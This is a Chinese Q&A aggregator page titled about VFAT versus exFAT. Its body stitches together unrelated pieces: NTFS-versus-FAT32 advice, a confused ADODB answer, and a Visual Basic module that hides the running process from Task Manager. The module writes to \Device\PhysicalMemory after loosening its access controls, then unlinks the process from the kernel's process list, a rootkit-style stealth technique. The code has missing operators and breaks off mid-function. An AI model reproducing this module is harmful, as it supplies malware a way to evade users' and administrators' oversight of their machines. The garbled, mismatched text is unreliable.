Vfat和exFAT有什么区别？

是丫丫呀1年前 (2023-12-20)阅读数 8#综合百科

NTFS 比 FAT 或 FAT32 的功能更强大，它包括提供 Active Directory 所需的功能以及其他重要安全性功能。只有选择 NTFS 作为文件系统才能使用诸如 Active Directory 和基于域的安全性等功能。?

将分区转换为 NTFS 很容易。使用“安装”程序可以很容易地进行转换，不论您使用的是 FAT 还是 FAT32 或较低版本的 NTFS。这种转换可以保持您的文件不发生变化（不像格式化分区）。如果不需要使文件保持原样，且已拥有 FAT 或 FAT32 分区，则建议使用 NTFS 来格式化分区而不是从 FAT 或 FAT32 进行转换。格式化分区会删除分区上的所有数据，使您能够从一个清空的驱动器开始进行操作。

不论是用 NTFS 格式化分区还是使用转换命令进行转换，NTFS 都是文件系统的最佳选择。有关 Convert.exe 的详细信息，在完成“安装”后，请依次单击“开始”、“运行”，键入 cmd，然后按 ENTER。在命令窗口，键入 help convert，然后按 ENTER。?

要维护文件和文件夹访问控制并支持有限个帐户，必须使用 NTFS。如果使用 FAT32，所有用户都将具有访问权，以访问您的硬盘驱动器上的所有文件，而不考虑其帐户类型（管理员、有限制的或标准的）。?

NTFS 是一种最适合处理大磁盘的文件系统。（下一个性能仅次于 NTFS 并适于处理大磁盘的文件系统是 FAT32。）

VB编写隐藏指定的EXE进程

这个问题让人感觉好无奈，我以非专业人士的目光告诉你。

1、RS,,,CN是你 Set CN=*****后，这个CN object才有了功能。RS也是这样。你应该说

ADODB.Connection,,,及 ADODB.Recordset这两个东西，有啥区别才是

2、是不是每次访问数据库，RS和CN都需要关闭，感觉这问题有点怪，这个RS或CN一旦被设置成了某个object，它就背上了这个object的东西，不放下旧的，就不能再背新的，背两种东西，它就累的受不了，就会叫喊“Error”。这么说，不知道你能理解不。

3、Connection是excut命令吧？记不清了，暂定为它吧，它连接库后，不返回值。Recordset是Open是有返回值的。详细这点，你再百度下，具体谁好，看你需求了，一般都是用的RS.Open。便于后面的具体操作。当然，excut也可以。

VB隐藏进程

Form中的代码

Private Sub Command1_Click() App.TaskVisible = False '任务栏隐藏 Call HideCurrentProcess '进程隐藏 End Sub

新建一个模块，代码如下：

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1. '-------------------------------------------------------------------------------------

3. '模块名称：modHideProcess.bas

5. '

7. '模块功能：在 XP/2K 任务管理器的进程列表中隐藏当前进程

9. '

10.

11. '使用方法：直接调用 HideCurrentProcess()

12.

13. '

14.

15. '模块作者：检索自互联网，原作者不详。

16.

17. '

18.

19. '修改日期：2006/08/26

20.

21. '---------------------------------------------------------------------------------------

22.

23.

24.

25. Option Explicit

26.

27.

28.

29. Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004

30.

31. Private Const STATUS_ACCESS_DENIED = &HC0000022

32.

33. Private Const STATUS_INVALID_HandLE = &HC0000008

34.

35. Private Const ERROR_SUCCESS = 0&

36.

37. Private Const SECTION_MAP_WRITE = &H2

38.

39. Private Const SECTION_MAP_READ = &H4

40.

41. Private Const READ_CONTROL = &H20000

42.

43. Private Const WRITE_DAC = &H40000

44.

45. Private Const NO_INHERITANCE = 0

46.

47. Private Const DACL_SECURITY_INFORMATION = &H4

48.

49.

50.

51. Private Type IO_STATUS_BLOCK

52.

53. Status As Long

54.

55. Information As Long

56.

57. End Type

58.

59.

60.

61. Private Type UNICODE_STRING

62.

63. Length As Integer

64.

65. MaximumLength As Integer

66.

67. Buffer As Long

68.

69. End Type

70.

71.

72.

73. Private Const OBJ_INHERIT = &H2

74.

75. Private Const OBJ_PERMANENT = &H10

76.

77. Private Const OBJ_EXCLUSIVE = &H20

78.

79. Private Const OBJ_CASE_INSENSITIVE = &H40

80.

81. Private Const OBJ_OPENIF = &H80

82.

83. Private Const OBJ_OPENLINK = &H100

84.

85. Private Const OBJ_KERNEL_HandLE = &H200

86.

87. Private Const OBJ_VALID_ATTRIBUTES = &H3F2

88.

89.

90.

91. Private Type OBJECT_ATTRIBUTES

92.

93. Length As Long

94.

95. RootDirectory As Long

96.

97. ObjectName As Long

98.

99. Attributes As Long

100.

101. SecurityDeor As Long

102.

103. SecurityQualityOfService As Long

104.

105. End Type

106.

107.

108.

109. Private Type ACL

110.

111. AclRevision As Byte

112.

113. Sbz1 As Byte

114.

115. AclSize As Integer

116.

117. AceCount As Integer

118.

119. Sbz2 As Integer

120.

121. End Type

122.

123.

124.

125. Private Enum ACCESS_MODE

126.

127. NOT_USED_ACCESS

128.

129. GRANT_ACCESS

130.

131. SET_ACCESS

132.

133. DENY_ACCESS

134.

135. REVOKE_ACCESS

136.

137. SET_AUDIT_SUCCESS

138.

139. SET_AUDIT_FAILURE

140.

141. End Enum

142.

143.

144.

145. Private Enum MULTIPLE_TRUSTEE_OPERATION

146.

147. NO_MULTIPLE_TRUSTEE

148.

149. TRUSTEE_IS_IMPERSONATE

150.

151. End Enum

152.

153.

154.

155. Private Enum TRUSTEE_FORM

156.

157. TRUSTEE_IS_SID

158.

159. TRUSTEE_IS_NAME

160.

161. End Enum

162.

163.

164.

165. Private Enum TRUSTEE_TYPE

166.

167. TRUSTEE_IS_UNKNOWN

168.

169. TRUSTEE_IS_USER

170.

171. TRUSTEE_IS_GROUP

172.

173. End Enum

174.

175.

176.

177. Private Type TRUSTEE

178.

179. pMultipleTrustee As Long

180.

181. MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION

182.

183. TrusteeForm As TRUSTEE_FORM

184.

185. TrusteeType As TRUSTEE_TYPE

186.

187. ptstrName As String

188.

189. End Type

190.

191.

192.

193. Private Type EXPLICIT_ACCESS

194.

195. grfAccessPermissions As Long

196.

197. grfAccessMode As ACCESS_MODE

198.

199. grfInheritance As Long

200.

201. TRUSTEE As TRUSTEE

202.

203. End Type

204.

205.

206.

207. Private Type AceArray

208.

209. List() As EXPLICIT_ACCESS

210.

211. End Type

212.

213.

214.

215. Private Enum SE_OBJECT_TYPE

216.

217. SE_UNKNOWN_OBJECT_TYPE = 0

218.

219. SE_FILE_OBJECT

220.

221. SE_SERVICE

222.

223. SE_PRINTER

224.

225. SE_REGISTRY_KEY

226.

227. SE_LMSHARE

228.

229. SE_KERNEL_OBJECT

230.

231. SE_WINDOW_OBJECT

232.

233. SE_DS_OBJECT

234.

235. SE_DS_OBJECT_ALL

236.

237. SE_PROVIDER_DEFINED_OBJECT

238.

239. SE_WMIGUID_OBJECT

240.

241. End Enum

242.

243.

244.

245. Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long

246.

247. Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long

248.

249.

250.

251. Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long

252.

253. Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)

254.

255.

256.

257. Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)

258.

259. Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long

260.

261. Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long

262.

263. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

264.

265. Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long

266.

267. Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long

268.

269. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

270.

271. Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long

272.

273.

274.

275. Private Type OSVERSIONINFO

276.

277. dwOSVersionInfoSize As Long

278.

279. dwMajorVersion As Long

280.

281. dwMinorVersion As Long

282.

283. dwBuildNumber As Long

284.

285. dwPlatformId As Long

286.

287. szCSDVersion As String * 128

288.

289. End Type

290.

291.

292.

293. Private verinfo As OSVERSIONINFO

294.

295.

296.

297. Private g_hNtDLL As Long

298.

299. Private g_pMapPhysicalMemory As Long

300.

301. Private g_hMPM As Long

302.

303. Private aByte(3) As Byte

304.

305.

306.

307. Public Sub HideCurrentProcess()

308.

309. '在进程列表中隐藏当前应用程序进程

310.

311.

312.

313. Dim thread As Long, process As Long, fw As Long, bw As Long

314.

315. Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

316.

317.

318.

319. verinfo.dwOSVersionInfoSize = Len(verinfo)

320.

321. If (GetVersionEx(verinfo)) 0 Then

322.

323. If verinfo.dwPlatformId = 2 Then

324.

325. If verinfo.dwMajorVersion = 5 Then

326.

327. Select Case verinfo.dwMinorVersion

328.

329. Case 0

330.

331. lOffsetFlink = &HA0

332.

333. lOffsetBlink = &HA4

334.

335. lOffsetPID = &H9C

336.

337. Case 1

338.

339. lOffsetFlink = &H88

340.

341. lOffsetBlink = &H8C

342.

343. lOffsetPID = &H84

344.

345. End Select

346.

347. End If

348.

349. End If

350.

351. End If

352.

353.

354.

355. If OpenPhysicalMemory 0 Then

356.

357. thread = GetData(&HFFDFF124)

358.

359. process = GetData(thread + &H44)

360.

361. fw = GetData(process + lOffsetFlink)

362.

363. bw = GetData(process + lOffsetBlink)

364.

365. SetData fw + 4, bw

366.

367. SetData bw, fw

368.

369. CloseHandle g_hMPM

370.

371. End If

372.

373. End Sub

374.

375.

376.

377. Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)

378.

379. Dim pDacl As Long

380.

381. Dim pNewDacl As Long

382.

383. Dim pSD As Long

384.

385. Dim dwRes As Long

386.

387. Dim ea As EXPLICIT_ACCESS

388.

389.

390.

391. GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD

392.

393.

394.

395. ea.grfAccessPermissions = SECTION_MAP_WRITE

396.

397. ea.grfAccessMode = GRANT_ACCESS

398.

399. ea.grfInheritance = NO_INHERITANCE

400.

401. ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME

402.

403. ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER

404.

405. ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

406.

407.

408.

409. SetEntriesInAcl 1, ea, pDacl, pNewDacl

410.

411.

412.

413. SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

414.

415.

416.

417. CleanUp:

418.

419. LocalFree pSD

420.

421. LocalFree pNewDacl

422.

423. End Sub

424.

425.

426.

427. Private Function OpenPhysicalMemory() As Long

428.

429. Dim Status As Long

430.

431. Dim PhysmemString As UNICODE_STRING

432.

433. Dim Attributes As OBJECT_ATTRIBUTES

434.

435.

436.

437. RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")

438.

439. Attributes.Length = Len(Attributes)

440.

441. Attributes.RootDirectory = 0

442.

443. Attributes.ObjectName = VarPtr(PhysmemString)

444.

445. Attributes.Attributes = 0

446.

447. Attributes.SecurityDeor = 0

448.

449. Attributes.SecurityQualityOfService = 0

450.

451.

452.

453. Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)

454.

455. If Status = STATUS_ACCESS_DENIED Then

456.

457. Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)

458.

459. SetPhyscialMemorySectionCanBeWrited g_hMPM

460.

461. CloseHandle g_hMPM

462.

463. Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)